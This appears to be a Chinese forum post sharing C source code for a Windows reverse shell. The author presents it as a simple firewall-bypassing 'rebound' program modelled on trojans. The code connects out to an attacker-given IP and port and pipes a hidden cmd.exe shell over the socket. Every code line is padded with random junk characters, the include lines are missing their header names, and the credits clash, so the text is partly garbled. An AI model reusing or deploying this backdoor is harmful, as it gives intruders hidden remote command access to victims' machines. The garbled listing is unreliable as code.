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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q,T4- E  
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/* ============================== 2" u,f  
Rebound port in Windows NT PW+B&7{  
By wind,2006/7 B^@X1EE  
===============================*/ Xbu P_U'  
#include ihd^P]  
#include UsgrI>|l  
s"~3.J  
#pragma comment(lib,"wsock32.lib") O+"a 0:GM  
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void OutputShell(); W H%EC$  
SOCKET sClient; >e!Y63`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .'bhRQY  
J1Run0  
void main(int argc,char **argv) 6h7TM?lt  
{ yJW/yt.l  
WSADATA stWsaData; uj@d {AQ  
int nRet; <UwYI_OX  
SOCKADDR_IN stSaiClient,stSaiServer; 6 IRa$h>H  
@plh'f}  
if(argc != 3) .l$U:d  
{ O>d [;Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); kD}vK+  
return; RT<HiVr`  
} >%LY0(hY3  
rE%H NPO  
WSAStartup(MAKEWORD(2,2),&stWsaData); h_5CWQSi  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oQ}K_}{>  
'"T9y=9]s  
stSaiClient.sin_family = AF_INET; ;_#<a*f  
stSaiClient.sin_port = htons(0); Gn^m541  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $"ACg!=M  
;tC$O~X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y|S>{$W  
{ V[0 ZNT&  
printf("Bind Socket Failed!\n"); &qP0-x)  
return; bnZ H  
} [l}H%S   
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stSaiServer.sin_family = AF_INET; t==\D?Rt  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S0`u!l89(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); VIg6'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U|Uc|6  
{ XTRF IY  
printf("Connect Error!");  54#P  
return;  'Pxq>Os  
} xdh%mG:?  
OutputShell(); \ 027>~u {  
} Py#TXzEcC  
9Dp0Pi?29  
void OutputShell() SqZ .}s  
{ & gcZ4 gpH  
char szBuff[1024]; fr`Q 5!0  
SECURITY_ATTRIBUTES stSecurityAttributes; gv){&=9/  
OSVERSIONINFO stOsversionInfo; _'l"Dk  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AdRp{^w  
STARTUPINFO stStartupInfo; xnHB <xrE}  
char *szShell; \1hQ7:f;\  
PROCESS_INFORMATION stProcessInformation; g3 Oro}wt6  
unsigned long lBytesRead; O8~RfB  
L{oG'aK4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0Oa&vx  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [5]n,toAh  
stSecurityAttributes.lpSecurityDescriptor = 0; /=g/{&3[a>  
stSecurityAttributes.bInheritHandle = TRUE; Yl =-j  
Z!3R  
8nwps(3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <[K3Prf C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @`ii3&W4  
Dus!Ki~8(t  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0lV;bVa%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mh MXn;VKj  
stStartupInfo.wShowWindow = SW_HIDE; fL*+[v4  
stStartupInfo.hStdInput = hReadPipe; }<zbx*!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S gssNv  
)Y6\"-M[  
GetVersionEx(&stOsversionInfo); {yDQncq'^  
33&l.[A"!}  
switch(stOsversionInfo.dwPlatformId) YFDOp *  
{  DTa!vg  
case 1: 11c\C Iu  
szShell = "command.com"; >!Xj%RW  
break; iCCe8nK  
default: ]E)\>Jb  
szShell = "cmd.exe"; ?Qx4Z3n  
break; 'Va<GHr>+  
} .PV(MV  
J *38GX+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \(--$9  
/pV N1Yt  
send(sClient,szMsg,77,0); 8nWPt!U:  
while(1) H>},{ z  
{ hy>0'$mU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \XwC|[%P  
if(lBytesRead) !2>@:CKX  
{ B&_Z&H=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); I0qJr2[X~  
send(sClient,szBuff,lBytesRead,0); [$td:N *  
} jo3(\Bq  
else u-tD_UIck  
{  v7Ps-a)  
lBytesRead=recv(sClient,szBuff,1024,0); H23 O]r  
if(lBytesRead<=0) break; yz,0 S'U  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H_Xk;fM  
} uUV"86B_  
} 'oH3|  
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return; A}}dc:$C  
}
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